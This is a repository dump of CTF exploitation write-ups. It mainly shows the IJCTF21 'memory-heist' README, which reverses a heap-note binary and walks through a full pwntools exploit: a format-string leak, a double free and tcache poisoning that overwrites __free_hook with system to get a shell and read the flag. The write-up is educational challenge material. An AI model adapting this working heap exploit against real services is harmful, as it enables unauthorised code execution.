├── IJCTF21 └── memory-heist │ ├── README.md │ ├── ld.so │ ├── libc.so.6 │ └── sol.py ├── K3RN3LCTF_21 └── gradebook │ ├── README.md │ ├── exp.py │ ├── gradebook │ ├── ld-2.31.so │ ├── libc.so.6 │ └── patch.sh ├── Low fidelity friteups and annotated scripts └── lakeCTF │ └── 24 │ └── fsophammer │ ├── Dockerfile │ ├── README.md │ ├── chal │ ├── chal.c │ ├── exp_lib.py │ ├── exp_lib_codecvt.py │ ├── flag.txt │ ├── ld-linux-x86-64.so.2 │ ├── libc.so.6 │ └── run_docker.sh ├── README.md ├── SekaiCTF2022 └── saveme │ ├── README.md │ ├── ld-2.31.so │ ├── libc-2.31.so │ ├── libseccomp.so.2.5.1 │ ├── saveme │ └── sol.py ├── TamuCTF 2021 └── Calculator │ └── Calculator.md ├── UACTF 2022 └── Evil_Eval │ └── README.md ├── UIUCTF 21 └── insecure-seccomp │ ├── README.md │ ├── ebpf.asm │ ├── handout.tar.gz │ ├── starter.c │ └── starter_orig.c ├── bi0sCTF22_3 └── notes │ ├── README.md │ ├── notes │ └── sol.py ├── fwordCTF21 └── blacklist-revenge │ ├── README.md │ ├── blacklist │ └── exp.py └── redpwn 2021 ├── Image-identifier ├── Dockerfile ├── README.md ├── chal ├── off_brute.py └── sol.py └── Simultaneity ├── README.md ├── ld-linux-x86-64.so.2 ├── simultaneity ├── simultaneity1 └── sol_2.py /IJCTF21/memory-heist/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Intro 3 | 4 | So [IJCTF](https://ctftime.org/event/1382) happened recently, taking place over the weekend from the 24th of June. It had some pretty damn good challenges, and was a great way for me and the rest of [zh3r0](https://ctftime.org/team/116018) to rejuvenate after being battered by the hellhole that was google CTF. So lets get into one of these challenges. 5 | 6 | `memory-heist` specifically was solved by my team-mate. His solution was quite baffling at first but after debugging and running through it a few times I understood. This is the exploit I will be using (and explaining) during this writeup, so I hope it can help you understand the awesome way this was exploited. 7 | 8 | As usual, the exploit script is in the folder with this writeup (if this ends up on GitHub, anyway]). So if that's all you need, there it is. 9 | 10 | With that out of the way, lets take a look at the challenge binary. 11 | 12 | ## Setup 13 | 14 | ... But before we can do that there is a problem. Stripped libc. If you don't mind not having access to `pwndbg`s `heap` command for looking at heap chunks, you can skip this part, but this is gonna get pretty technical so I would recommend following. You can get the debug symbols by running: 15 | 16 | ```sh 17 | wget http://es.archive.ubuntu.com/ubuntu/pool/main/g/glibc/libc6-dbg_2.31-0ubuntu9.2_amd64.deb 18 | ``` 19 | 20 | And then 21 | 22 | ```sh 23 | dpkg -x libc6-dbg_2.31-0ubuntu9.2_amd64.deb . 24 | ``` 25 | 26 | To extract them to the current directory. Next I used `eu-unstrip` to copy the debug symbols from the unstripped libc, over to the stripped one provided, alternatively you could just replace the libc, but I only thought of that now -_-. 27 | 28 | ```sh 29 | eu-unstrip ./libc.so.6 usr/lib/debug/lib/x86_64-linux-gnu/libc-2.31.so -o ./libc.so.6.dbg 30 | ``` 31 | 32 | Now you should have `libc.so.6.dbg` which you can exchange with the provided libc as you wish. No need for any patching because the challenge creator's had the foresight to load the linker AND libc from the current directory. Thanks guys. 33 | 34 | # What 35 | 36 | First, lets see the challenge description: 37 | 38 | `Hereee! You got both printf() and UAF. Lets see if you can get the flag :)` 39 | 40 | Very bold... Lets see about that. 41 | 42 | Now that we have that out of the way we can take a look at how the binary runs, and see what it does, then we can delve in with the disassembler/de-compiler of your choice. First lets run and explore some program functionality: 43 | 44 | ``` 45 | root@nomu:~/D/I/memory_heist 46 | ❯❯ ./memory-heist 47 | 48 | Welcome to Memory Heist. 49 | 50 | 1. Allocate 51 | 2. Delete 52 | 3. Print 53 | > 1 54 | Enter the index for memory. 55 | > 0 56 | Enter the size of memory. 57 | > 1337 58 | Memory> asdfasdfasdf 59 | Saved. 60 | 1. Allocate 61 | 2. Delete 62 | 3. Print 63 | > 3 64 | Re-visting memories comes at a cost. 65 | Should you choose to accept to re-visit, half of your memories will be lost. 66 | [Y/N]> Y 67 | Index> 0 68 | Contents:asdfasdfasdf1. Allocate 69 | 2. Delete 70 | 3. Print 71 | > 72 | 1. Allocate 73 | 2. Delete 74 | 3. Print 75 | > 2 76 | Enter the index. 77 | > 0 78 | Done. 79 | [--snipped--] 80 | fish: “./memory-heist” terminated by signal SIGALRM (Timer expired) 81 | 82 | ``` 83 | 84 | So we have 3 options: "Allocate", "Delete", and "Print". "Allocate" asks for an index, then a size, and then the contents. We can then "Print" the contents given an index. And finally we can "Delete" once done. Were also rudely interrupted by an `alarm()`, so were definitely not meant to do this manually, huh. 85 | 86 | This looks like a pretty standard heap note challenge; we can allocate some space that we control at will, fill it with data which we also control, and then free/delete said allocation once done. 87 | 88 | So lets take a look at our program in IDA/Ghidra to confirm or deny this hypothesis. 89 | 90 | # Reversing 91 | ## main() 92 | 93 | Since the binary is pretty small its feasible to walk through the binary one function at a time, so lets see what's up: 94 | 95 | ```c 96 | int __cdecl __noreturn main(int argc, const char **argv, const char **envp) 97 | { 98 | unsigned __int64 choice; // [rsp+8h] [rbp-8h] 99 | 100 | welcome(); 101 | while ( 1 ) 102 | { 103 | while ( 1 ) 104 | { 105 | choice = menu(argc, argv); 106 | if ( choice != 3 ) 107 | break; 108 | print(); 109 | } 110 | if ( choice > 3 ) 111 | break; 112 | if ( choice == 1 ) 113 | { 114 | allocate(); 115 | } 116 | else 117 | { 118 | if ( choice != 2 ) 119 | break; 120 | delete(); 121 | } 122 | } 123 | puts("Duh!"); 124 | _exit(1); 125 | } 126 | ``` 127 | 128 | Okay, so first we call a function `welcome()`. This is pretty simple, just give us a welcome message, and setup a semi-random `alarm()` timer: 129 | 130 | ```c 131 | int welcome() 132 | { 133 | int lol; // eax 134 | 135 | lol = rand(); 136 | alarm(lol % 1337 / 20); 137 | return puts("\nWelcome to Memory Heist.\n"); 138 | } 139 | ``` 140 | 141 | So that's why we get kicked out almost immediately. Next we enter a command loop from which we enter our choice: 142 | 143 | ```c 144 | while ( 1 ) 145 | { 146 | while ( 1 ) 147 | { 148 | choice = menu(argc, argv); 149 | if ( choice != 3 ) 150 | break; 151 | print(); 152 | } 153 | if ( choice > 3 ) 154 | break; 155 | if ( choice == 1 ) 156 | { 157 | allocate(); 158 | } 159 | else 160 | { 161 | if ( choice != 2 ) 162 | break; 163 | delete(); 164 | } 165 | } 166 | ``` 167 | 168 | The first thing we do inside the loop is call `menu()` to display our options banner, then take said option, and return it: 169 | 170 | ```c 171 | __int64 menu() 172 | { 173 | __int64 choice[2]; // [rsp+0h] [rbp-10h] BYREF 174 | 175 | choice[1] = __readfsqword(0x28u); 176 | choice[0] = 0LL; 177 | puts("1. Allocate"); 178 | puts("2. Delete"); 179 | puts("3. Print"); 180 | printf("> "); 181 | __isoc99_scanf("%lu", choice); 182 | return choice[0]; 183 | } 184 | ``` 185 | 186 | Back in the main command loop, we have branches for each corresponding option, and if we do not have any of these as our choice we leave the command loop and `exit()`. 187 | 188 | Firstly, lets take a look at `allocate()`: 189 | 190 | ## allocate() 191 | 192 | We can already see some recognizable strings: 193 | 194 | ```c 195 | unsigned __int64 allocate() 196 | { 197 | unsigned __int64 idx_dup; // rbx 198 | size_t nbytes; // [rsp+8h] [rbp-28h] BYREF 199 | unsigned __int64 idx; // [rsp+10h] [rbp-20h] BYREF 200 | unsigned __int64 canary; // [rsp+18h] [rbp-18h] 201 | 202 | canary = __readfsqword(0x28u); 203 | nbytes = 0LL; 204 | idx = 0LL; 205 | puts("Enter the index for memory."); 206 | printf("> "); 207 | __isoc99_scanf("%lu", &idx); 208 | puts("Enter the size of memory."); 209 | printf("> "); 210 | __isoc99_scanf("%lu", &nbytes); 211 | if ( idx > 0xB || (&chunks)[idx] ) 212 | { 213 | puts("Duh!"); 214 | _exit(1); 215 | } 216 | idx_dup = idx; 217 | (&chunks)[idx_dup] = malloc(nbytes + 2); 218 | printf("Memory> "); 219 | nbytes = read(0, 0x4100, nbytes); 220 | *(&chunks + nbytes + 159) = 0; 221 | memcpy((&chunks)[idx], 0x4100, nbytes); // smash &chunks + idx? 222 | puts("Saved."); 223 | return __readfsqword(0x28u) ^ canary; 224 | } 225 | ``` 226 | 227 | So, looks like how we would expect; we enter `idx`, `nbytes` and then input contents, although the way contents is received is a little strange; first data is read from stdin into `.bss` rather than first `malloc()`ing a chunk of size `nbytes` and THEN reading data in from there. Doing it this way allows us to write as much data into `.bss` as we want, and although there's nothing interesting you could do with this its still a little strange. 228 | 229 | Anyway, if our `idx` doesn't stray OOB, and the current slot is not occupied we are able to store our allocated memory there, our input is then read into + copied from `.bss` to our allocation after first being null terminated (I'm sort of sure that's what `*(&chunks + nbytes + 159) = 0;` is doing, anyway). 230 | 231 | So summed up, `allocate()` does a couple things: 232 | - Take `idx`, `nbytes`, and chunk Contents. 233 | - Verify our `idx` does not go OOB and that we aren't replacing an allocation which is in use. 234 | - If we abide by the rules above, copy our contents into our `allocation`. 235 | 236 | Lets move on to the next function, `print()`. 237 | 238 | ## print() 239 | 240 | ```c 241 | unsigned __int64 print() 242 | { 243 | unsigned __int64 idx1; // [rsp+8h] [rbp-28h] BYREF 244 | __int64 isPCT; // [rsp+10h] [rbp-20h] 245 | char *chr; // [rsp+18h] [rbp-18h] 246 | char buf[8]; // [rsp+20h] [rbp-10h] BYREF 247 | unsigned __int64 canary; // [rsp+28h] [rbp-8h] 248 | 249 | canary = __readfsqword(0x28u); 250 | chr = 0LL; 251 | puts("Re-visting memories comes at a cost."); 252 | puts("Should you choose to accept to re-visit, half of your memories will be lost."); 253 | printf("[Y/N]> "); 254 | read(0, buf, 6uLL); 255 | if ( buf[0] == 'N' || buf[0] == 'n' ) 256 | { 257 | puts("Thats alright."); 258 | } 259 | else 260 | { 261 | printf("Index> "); 262 | __isoc99_scanf("%lu", &idx1); // idx not checked here 263 | chr = *(&chunks + idx1); // uaf here 264 | isPCT = 0LL; 265 | while ( *chr ) 266 | { 267 | if ( *chr == '%' ) 268 | isPCT = 1LL; 269 | if ( isPCT && *chr == 'n' ) 270 | { 271 | puts("Whoaa! Whatcha doin'?"); 272 | _exit(1); 273 | } 274 | ++chr; 275 | } 276 | printf("Contents:"); 277 | printf(*(&chunks + idx1)); // fmt string vuln 278 | for ( idx1 &= 1u; idx1 <= 0xB; idx1 += 2LL ) 279 | *(&chunks + idx1) = 'Timaohw'; 280 | } 281 | return __readfsqword(0x28u) ^ canary; 282 | } 283 | ``` 284 | 285 | We print the all too familiar prompt, then ask for a choice, `[Y/N]`. Choosing `N`/`n` simply returns us to the command loop, but any other char will take us forward. 286 | 287 | We read an `idx`. Interestingly enough (though not relevant for our exploit) is that said `idx` is not checked for OOB. I'm not sure if this is a feature of the challenge for not, but this allows you to specify an arbitrary `idx` which will then be printed from. 288 | 289 | Next we get the corresponding pointer for the given `idx` and iterate through the contents of our chunk, if we give `%n` as part of our buffer during `allocate()`, we will exit the program upon detecting that (format string incoming). 290 | 291 | After this we pass our chunk contents directly into `printf`. Here is our format string bug, like the challenge description promised - but with the constraint that no `%n` is allowed, so no writing memory using this. Like promised at the start of the program, we will now lose half of our `memories`, in this case being our chunks. The string "whoamIT" will be written to half of our chunk slots, making them effectively useless. 292 | 293 | Once placed here, these cannot be cleared, which means we cant use these slots for any more allocations, and we certainly cant free/delete them, as we will see soon. 294 | 295 | Anyhow, we then check the canary and are returned to our command loop, but this time with serious `amnesia`... Haha geddit? Because memories?????? Okay I'll stop. 296 | 297 | ## delete() 298 | 299 | Finally we come to the crux of the issue, and arguably the most important function in our program. We come to the UAF: 300 | 301 | ```c 302 | unsigned __int64 delete() 303 | { 304 | unsigned __int64 v1; // [rsp+0h] [rbp-10h] BYREF 305 | unsigned __int64 v2; // [rsp+8h] [rbp-8h] 306 | 307 | v2 = __readfsqword(0x28u); 308 | v1 = 0LL; 309 | puts("Enter the index."); 310 | printf("> "); 311 | __isoc99_scanf("%lu", &v1); 312 | if ( v1 > 0xB || !*(&chunks + v1) || *free_hook ) 313 | { 314 | puts("Duh!"); 315 | _exit(1); 316 | } 317 | free(*(&chunks + v1)); // free'd, but not cleared. ALSO not checked if freed previously 318 | puts("Done."); 319 | return __readfsqword(0x28u) ^ v2; 320 | } 321 | ``` 322 | 323 | This function is pretty small, and all it does is validate, again that we don't go OOB, then `free()`s a chunk in a given `idx` slot. It also checks if the `__free_hook` has been overwritten, and this is something we will need to bypass later. 324 | 325 | You may notice a couple things, and if you have props to you, because I didn't see this until very, very late in the CTF. We do not check the validity of any pointer we `free()`. This, combined with the fact that `free()`d chunks are never cleared could allow us to free a chunk twice. During the period between when it was last `free()`d we could have replaced crucial chunk metadata such as the size. This is what our exploit abuses. 326 | 327 | 328 | With a combination of tricks with heap consolidation and `unsorted` bin chunks, we are able to write into `__free_hook`. Lets take a look at how this is achieved, shall we? 329 | 330 | # Exploitation 331 | 332 | So lets take a look at the script, minus the insane amount of comments I made trying to understand this, shall we? 333 | 334 | ```py 335 | from pwn import * 336 | 337 | binary = "./memory-heist" 338 | #script = ''' 339 | # 340 | #b *main-0x5f 341 | #''' 342 | 343 | # muh debugging 344 | def attach_stop(p): 345 | gdb.attach(p) 346 | raw_input() 347 | 348 | # allocate a chunk 349 | def alloc(idx,size,data): 350 | p.sendlineafter('> ','1') 351 | p.sendlineafter('> ',str(idx)) 352 | p.sendlineafter('> ',str(size)) 353 | p.sendafter('Memory> ',data) 354 | 355 | # free a chunk 356 | def sice(idx): 357 | p.sendlineafter('> ','2') 358 | p.sendlineafter('> ', str(idx)) 359 | 360 | # view a chunk - this also wipes out half of our `chunks` array 361 | def view(idx,kek): 362 | p.sendlineafter('> ','3') 363 | p.sendlineafter('[Y/N]> ',kek) 364 | p.sendlineafter('> ',str(idx)) 365 | return p.recvline().split(b':')[1] 366 | 367 | # start 368 | if __name__ == "__main__": 369 | p = process(binary) 370 | #p = remote('35.244.10.136', 10253) 371 | 372 | alloc(1, 0x208,'AA') 373 | 374 | alloc(7, 0x2000,'AA') 375 | 376 | alloc(9, 0x100, 'AAAA') 377 | 378 | alloc(11, 0x100, '%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p') # leaky chunk 379 | 380 | sice(7) 381 | 382 | sice(9) # tcache 383 | 384 | leaks = view(11,'a').strip() 385 | print(leaks.split(b'0x')) 386 | heap_base = (int(b'0x' + leaks.split(b'0x')[8],0)&0xfffffffffffff000) - 0x2000 387 | pie_base = int(b'0x' + leaks.split(b'0x')[5],0) - 0x11b0 388 | libc_base = int(b'0x' + leaks.split(b'0x')[15],0) - 0x270b3 389 | print(f'Heap base: {hex(heap_base)}') 390 | print(f'Pie leak: {hex(pie_base)}') 391 | print(f'Libc base: {hex(libc_base)}') 392 | 393 | alloc(0, 0x500, 'AA') 394 | alloc(2, 0x500, 'AA') 395 | 396 | sice(0) 397 | sice(2) 398 | 399 | alloc(4, 0x2000, b'A'*0x508 + p64(0x111)) 400 | 401 | sice(2) 402 | sice(0) 403 | 404 | alloc(6, 0x2000, b'A'*0x508 + p64(0x111) + p64(pie_base + 0x4060)) 405 | alloc(8, 0x100, b'A') 406 | 407 | alloc(10, 0x100, p64(heap_base + 0x10) + p64(0)*11 + p64(heap_base + 0x400)) 408 | 409 | sice(0) 410 | 411 | alloc(1, 0x280, b'\1'*0x80 + p64(libc_base + 0x1eeb20)) 412 | 413 | alloc(2, 0x16, b'/bin/sh\0'+p64(libc_base + 0x55410)) 414 | sice(2) 415 | p.interactive() 416 | ``` 417 | 418 | Lets walk through, step by step. 419 | 420 | Firstly we have a set of helper functions: 421 | 422 | ```py 423 | # muh debugging 424 | def attach_stop(p): 425 | gdb.attach(p) 426 | raw_input() 427 | 428 | # allocate a chunk 429 | def alloc(idx,size,data): 430 | p.sendlineafter('> ','1') 431 | p.sendlineafter('> ',str(idx)) 432 | p.sendlineafter('> ',str(size)) 433 | p.sendafter('Memory> ',data) 434 | 435 | # free a chunk 436 | def sice(idx): 437 | p.sendlineafter('> ','2') 438 | p.sendlineafter('> ', str(idx)) 439 | 440 | # view a chunk - this also wipes out half of our `chunks` array 441 | def view(idx,kek): 442 | p.sendlineafter('> ','3') 443 | p.sendlineafter('[Y/N]> ',kek) 444 | p.sendlineafter('> ',str(idx)) 445 | return p.recvline().split(b':')[1] 446 | ``` 447 | 448 | These *primitives* are here to make it incredibly easy to perform operations on the heap of the target, we have one for each function: `alloc` for allocating chunks, `view` for printing chunk contents, and `sice`/`free` for `free()`ing chunks. 449 | 450 | Its important to mention that due to the behavior of the `print()` function we cant use the `view` function more than once; since its already hard enough to exploit with the limited slots we have left from one call. 451 | 452 | Firstly, we start the binary, and make 4 allocations: 453 | 454 | ```py 455 | alloc(1, 0x208,'AA') 456 | 457 | alloc(7, 0x2000,'AA') 458 | 459 | alloc(9, 0x100, 'AAAA') 460 | 461 | alloc(11, 0x100, '%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p') # leaky chunk 462 | ``` 463 | 464 | The first allocation exists only to box in allocation '7' such that it will not be consumed - if you cant already tell, '7' will be very important for our exploit to come. 7 is also an `unsorted` bin chunk when free'd, making it able to be re-used with other chunks (this fact is also very important). 465 | 466 | We then make another allocation in '9' which also functions as a "box" so that our chunk will not be consumed and another in '11'. 467 | 468 | ## Leaks 469 | 470 | The chunk in '11' will be passed to `printf` in `print()` and will leak us all the pointers we need from the stack for our exploit. 471 | 472 | We can see this here: 473 | 474 | ```py 475 | sice(7) 476 | 477 | sice(9) # tcache 478 | 479 | leaks = view(11,'a').strip() 480 | print(leaks.split(b'0x')) 481 | heap_base = (int(b'0x' + leaks.split(b'0x')[8],0)&0xfffffffffffff000) - 0x2000 482 | pie_base = int(b'0x' + leaks.split(b'0x')[5],0) - 0x11b0 483 | libc_base = int(b'0x' + leaks.split(b'0x')[15],0) - 0x270b3 484 | print(f'Heap base: {hex(heap_base)}') 485 | print(f'Pie leak: {hex(pie_base)}') 486 | print(f'Libc base: {hex(libc_base)}') 487 | ``` 488 | 489 | First we free idx's 7 and 9, then we `view` the chunk 11's contents and leak values from the stack, luckily we were able to leak out a heap, PIE, and libc address respectively. This is all the leaks we need. 490 | 491 | However this has some undesirable side affects; half of our chunks have become unusable; specifically all odd indexes. This means that all chunks allocated/free'd prior to this have been cut loose; as we have no way to reference them: 492 | 493 | Here is the `chunks` array: 494 | 495 | ``` 496 | 0x55d45f1ea060 : 0x0000000000000000 0x0054696d616f6877 497 | 0x55d45f1ea070 : 0x0000000000000000 0x0054696d616f6877 498 | 0x55d45f1ea080 : 0x0000000000000000 0x0054696d616f6877 499 | 0x55d45f1ea090 : 0x0000000000000000 0x0054696d616f6877 500 | 0x55d45f1ea0a0 : 0x0000000000000000 0x0054696d616f6877 501 | 0x55d45f1ea0b0 : 0x0000000000000000 0x0054696d616f6877 502 | ``` 503 | 504 | As you can see, where our allocations used to be is the string "whoamIT". 505 | 506 | ## Feng-Shui 507 | 508 | At this point in the program, our heap looks like this: 509 | 510 | ``` 511 | Allocated chunk | PREV_INUSE 512 | Addr: 0x55d46019a000 513 | Size: 0x291 514 | 515 | Allocated chunk | PREV_INUSE <-------- chunk 1 516 | Addr: 0x55d46019a290 517 | Size: 0x221 518 | 519 | Free chunk (unsortedbin) | PREV_INUSE 520 | Addr: 0x55d46019a4b0 <--------- chunk 7 521 | Size: 0x2011 522 | fd: 0x7f6c44c75be0 523 | bk: 0x7f6c44c75be0 524 | 525 | Free chunk (tcache) <------- chunk '9' 526 | Addr: 0x55d46019c4c0 527 | Size: 0x110 528 | fd: 0x00 529 | 530 | Allocated chunk | PREV_INUSE 531 | Addr: 0x55d46019c5d0 532 | Size: 0x111 <------- chunk 11 533 | 534 | Top chunk | PREV_INUSE 535 | Addr: 0x55d46019c6e0 536 | Size: 0x1e921 537 | 538 | ``` 539 | 540 | Here's where hk pulls out the heap ninja skills. 541 | 542 | ```py 543 | alloc(0, 0x500, 'hk') 544 | alloc(2, 0x500, 'hk') 545 | 546 | sice(0) 547 | sice(2) 548 | ``` 549 | 550 | We allocate 2 chunks, then immediately free both of them again. This has a pretty cool effect: because chunk 7 (the unsorted-bin chunk) exists and is free, `malloc()` will split parts of that chunk off for allocations 0 and 2. This looks like this, afterward: 551 | 552 | ``` 553 | Allocated chunk | PREV_INUSE 554 | Addr: 0x557b358bb4b0 555 | Size: 0x511 556 | 557 | Allocated chunk | PREV_INUSE 558 | Addr: 0x557b358bb9c0 559 | Size: 0x511 560 | 561 | Free chunk (unsortedbin) | PREV_INUSE 562 | Addr: 0x557b358bbed0 563 | Size: 0x15f1 564 | fd: 0x7effd671dbe0 565 | bk: 0x7effd671dbe0 566 | 567 | ``` 568 | 569 | Notice the size of the `unsorted` chunk. Some math will show you that: 570 | 571 | ```py 572 | >>> hex(0x2010 - 0x510 - 0x510) 573 | '0x15f0' 574 | >>> 575 | ``` 576 | 577 | This chunk has, in fact had pieces torn off and used for allocations 0 and 2. Specifically notice the last 3 nibbles of the original chunk 7, when compared with the first new allocation. Do you see it ;). 578 | 579 | Now when these chunks are free'd again, they are handed back to the `unsorted` chunk again: 580 | 581 | ``` 582 | Allocated chunk | PREV_INUSE 583 | Addr: 0x558e41484000 584 | Size: 0x291 585 | 586 | Allocated chunk | PREV_INUSE 587 | Addr: 0x558e41484290 588 | Size: 0x221 589 | 590 | Free chunk (unsortedbin) | PREV_INUSE 591 | Addr: 0x558e414844b0 592 | Size: 0x2011 593 | fd: 0x7fce8c28cbe0 594 | bk: 0x7fce8c28cbe0 595 | 596 | Free chunk (tcache) 597 | Addr: 0x558e414864c0 598 | Size: 0x110 599 | fd: 0x00 600 | 601 | Allocated chunk | PREV_INUSE 602 | Addr: 0x558e414865d0 603 | Size: 0x111 604 | 605 | Top chunk | PREV_INUSE 606 | Addr: 0x558e414866e0 607 | Size: 0x1e921 608 | ``` 609 | 610 | This may look exactly the same as the snapshot of the heap before, however there is one difference. Despite being free'd, we still have references to chunks 0, and 2 in our `chunks` array: 611 | 612 | ``` 613 | 0x558e409ab060 : 0x0000558e414844c0 0x0054696d616f6877 614 | 0x558e409ab070 : 0x0000558e414849d0 0x0054696d616f6877 615 | 0x558e409ab080 : 0x0000000000000000 0x0054696d616f6877 616 | 0x558e409ab090 : 0x0000000000000000 0x0054696d616f6877 617 | 0x558e409ab0a0 : 0x0000000000000000 0x0054696d616f6877 618 | 0x558e409ab0b0 : 0x0000000000000000 0x0054696d616f6877 619 | ``` 620 | 621 | 0 points the start of chunk 7, where it was chopped off from. And 2 points 0x500 bytes into the bigger chunk. What does this mean? Well this wouldn't normally be a problem, but since we have the ability to double-free any chunk we like, if chunk 2 LOOKED like an authentic chunk we could `free()` it again. 622 | 623 | Since 2 points into the user-portion of the free `unsorted` chunk, if someone was to request an allocation with the size of the chunk, and then fill it with fake metadata at offset 0x500, you could make allocation 2 LOOK authentic. 624 | 625 | This is exactly what we do next: 626 | 627 | ```py 628 | alloc(4, 0x2000, b'A'*0x508 + p64(0x111)) 629 | 630 | sice(2) 631 | sice(0) 632 | ``` 633 | 634 | We request an allocation that can be fulfilled by our free `unsorted` chunk, then we fill it up to 0x508 bytes deep with garbage. Then we provide a fake `size` of 0x111. This is enough to convince `free` that our chunk is valid, you can thank tcache for that :). 635 | 636 | Now when we `free` 2, a chunk will be added to the tcache. Since 0 holds a pointer to the start of the `unsorted` chunk we can use that to `free` it again for further use. 637 | 638 | After this point, our heap looks extremely familiar: 639 | 640 | ``` 641 | Allocated chunk | PREV_INUSE 642 | Addr: 0x55dc4f720000 643 | Size: 0x291 644 | 645 | Allocated chunk | PREV_INUSE 646 | Addr: 0x55dc4f720290 647 | Size: 0x221 648 | 649 | Free chunk (unsortedbin) | PREV_INUSE 650 | Addr: 0x55dc4f7204b0 651 | Size: 0x2011 652 | fd: 0x7f6849936be0 653 | bk: 0x7f6849936be0 654 | 655 | Free chunk (tcache) 656 | Addr: 0x55dc4f7224c0 657 | Size: 0x110 658 | fd: 0x00 659 | 660 | Allocated chunk | PREV_INUSE 661 | Addr: 0x55dc4f7225d0 662 | Size: 0x111 663 | 664 | Top chunk | PREV_INUSE 665 | Addr: 0x55dc4f7226e0 666 | Size: 0x1e921 667 | ``` 668 | 669 | But in the tcache, on the top of the 0x110 bin is a chunk whos backing memory we completely control from the `unsorted` chunk: 670 | 671 | ``` 672 | tcachebins 673 | 0x110 [ 2]: 0x55dc4f7209d0 —▸ 0x55dc4f7224d0 ◂— 0x0 674 | ``` 675 | 676 | The key here is that, because earlier we added chunk 9 to the tcache we now have 2 chunks on the bin, which means that if one of them happens to be consumed, the `next` ptr of that chunk will be trusted to contain a real chunk pointer, and this `next` is completely under our control. 677 | 678 | Did you get all of that? 679 | 680 | ## Gloating 681 | 682 | Its not too far now... 683 | 684 | Now, we overwrite the `next` member of our tcache chunk '2': 685 | 686 | ```py 687 | alloc(6, 0x2000, b'A'*0x508 + p64(0x111) + p64(pie_base + 0x4060)) 688 | alloc(8, 0x100, b'A') 689 | ``` 690 | 691 | Specifically, we overwrite it with the `chunks` array we also overwrite the `free_hook` copy so the check that verifies whether or not `__free_hook` has been overwritten checks a null pointer, and still believes everything is okay. This allows us to call `delete` after we overwrite `__free_hook`, and subsequently call `free()`. 692 | 693 | Now once we consume another entry from the tcache we can see this corruption in action: 694 | 695 | ``` 696 | tcachebins 697 | 0x110 [ 1]: 0x55d4de18f060 (chunks) —▸ 0x55d4e00e44c0 ◂— ... 698 | ``` 699 | 700 | The next element consumed from the tcache will now hand out an allocation that points into the `chunks` array: 701 | 702 | ```py 703 | alloc(10, 0x100, p64(heap_base + 0x10) + p64(0)*11 + p64(heap_base + 0x400)) 704 | ``` 705 | 706 | This overwrites the entire `chunks` array: 707 | 708 | ``` 709 | V idx '0' now points to the first chunk on the heap - this is where the tcache 710 | `tcache_perthread_struct` struct is stored. 711 | 0x5577491b2060 : 0x000055774ad5b010 0x0000000000000000 712 | 0x5577491b2070 : 0x0000000000000000 0x0000000000000000 713 | 0x5577491b2080 : 0x0000000000000000 0x0000000000000000 714 | 0x5577491b2090 : 0x0000000000000000 0x0000000000000000 715 | 0x5577491b20a0 : 0x0000000000000000 0x0000000000000000 716 | 0x5577491b20b0 : 0x0000000000000000 0x0000000000000000 717 | 0x5577491b20c0 : 0x000055774ad5b400 <------ we also overwrite a copy of the __free_hook. 718 | ``` 719 | 720 | `idx` 0 now contains the allocation at the start of the heap that contains the `tcache_perthread_struct`. This is responsible for keeping all bins, and a count of how many chunks remain in each bin. 721 | 722 | Another thing this overwrites is a copy of the `__free_hook` that came just after our `chunks` 723 | 724 | Next, we `free` 0, this makes the `tcache_perthread_struct` chunk available, and we promptly use it and overwrite its contents: 725 | 726 | ```py 727 | alloc(1, 0x280, b'\1'*0x80 + p64(libc_base + 0x1eeb20)) 728 | ``` 729 | We need to specify a size that is close to 0x290 - the size of the allocation to get it back, but once we do: 730 | 731 | ``` 732 | { 733 | counts = {257 }, 734 | entries = {0x7efd61112b20 <__after_morecore_hook>, 0x0 , 0x5617bf9694c0, 0x0 } 735 | } 736 | ``` 737 | 738 | We overwrite every single entry inside our `counts` of our `tcache_perthread_struct` such that each bin has one chunk inside it, and this enables us to remove the `__after_morecore_hook` allocation within libc from here. 739 | 740 | Now, at `__after_morecore_hook+8` is a bit of a surprise: 741 | 742 | ``` 743 | pwndbg> x/gx &__after_morecore_hook 744 | 0x7efd61112b20 <__after_morecore_hook>: 0x0000000000000000 745 | pwndbg> x/gx 0x7efd61112b20+8 746 | 0x7efd61112b28 <__free_hook>: 0x0000000000000000 747 | pwndbg> 748 | ``` 749 | 750 | As you can see, from here we are able to overwrite `__free_hook` in libc, lets see how thats done: 751 | 752 | ```py 753 | alloc(2, 0x16, b'/bin/sh\0'+p64(libc_base + 0x55410)) 754 | # Do it xPPPP 755 | sice(2) 756 | p.interactive() 757 | ``` 758 | 759 | First, this will overwrite `__after_morecore_hook` with the string "/bin/sh\0" which (luckily) is exactly 8 bytes. After that we overwrite `__free_hook` with the address of `__libc_system`. 760 | 761 | Now when we call `sice(2)` we will call `system` with our chunk 2, and since chunk 2 points directly at `__after_morecore_hook`, we will call `system("/bin/sh\0");`. 762 | 763 | Lets test: 764 | 765 | ``` 766 | root@nomu:~/D/I/memory_heist 767 | ❯❯ python sol.py 768 | [+] Opening connection to 35.244.10.136 on port 10253: Done 769 | [b'', b'7ffee915e500', b'58(nil)', b'9', b'9', b'560b2b7c51b0', b'b', b'1', b'560b2d5ae605', b'a61', b'a92f19ee774b4000', b'7ffee9160bf0', b'560b2b7c58b7', b'7ffee9160ce0', b'3(nil)', b'7f062845d0b3', b'7f06286576201. Allocate'] 770 | Heap base: 0x560b2d5ac000 771 | Pie leak: 0x560b2b7c4000 772 | Libc base: 0x7f0628436000 773 | [*] Switching to interactive mode 774 | $ ls 775 | flag 776 | ld.so 777 | libc.so.6 778 | memory-heist 779 | ynetd 780 | $ cat flag 781 | IJCTF{so_you_do_know_things_about_memory_heist} 782 | $ 783 | ``` 784 | 785 | Looks like it works to me. 786 | 787 | # Closing thoughts 788 | 789 | No matter how good you think you are, there will always be someone better than you and in my case it was my team-mate. However by no means was my failure to solve this challenge a bad thing. 790 | 791 | Strictly speaking, failure (especially when learning) is never really bad, as long as you can come back, learn what you did wrong and try again, until you get it. This morning I had no idea how any of this exploit worked, however now I come out of this with a keener eye, and a wider horizon than before. 792 | 793 | That aside, there is a commented version of the exploit in the folder, and I really need to learn more heap exploitation, because you can never learn enough :). 794 | 795 | ## References 796 | I don't usually do this, but here: 797 | 798 | 799 | 800 | Only one ref? Yup, but its pretty damn good. 801 | -------------------------------------------------------------------------------- /IJCTF21/memory-heist/ld.so: -------------------------------------------------------------------------------- 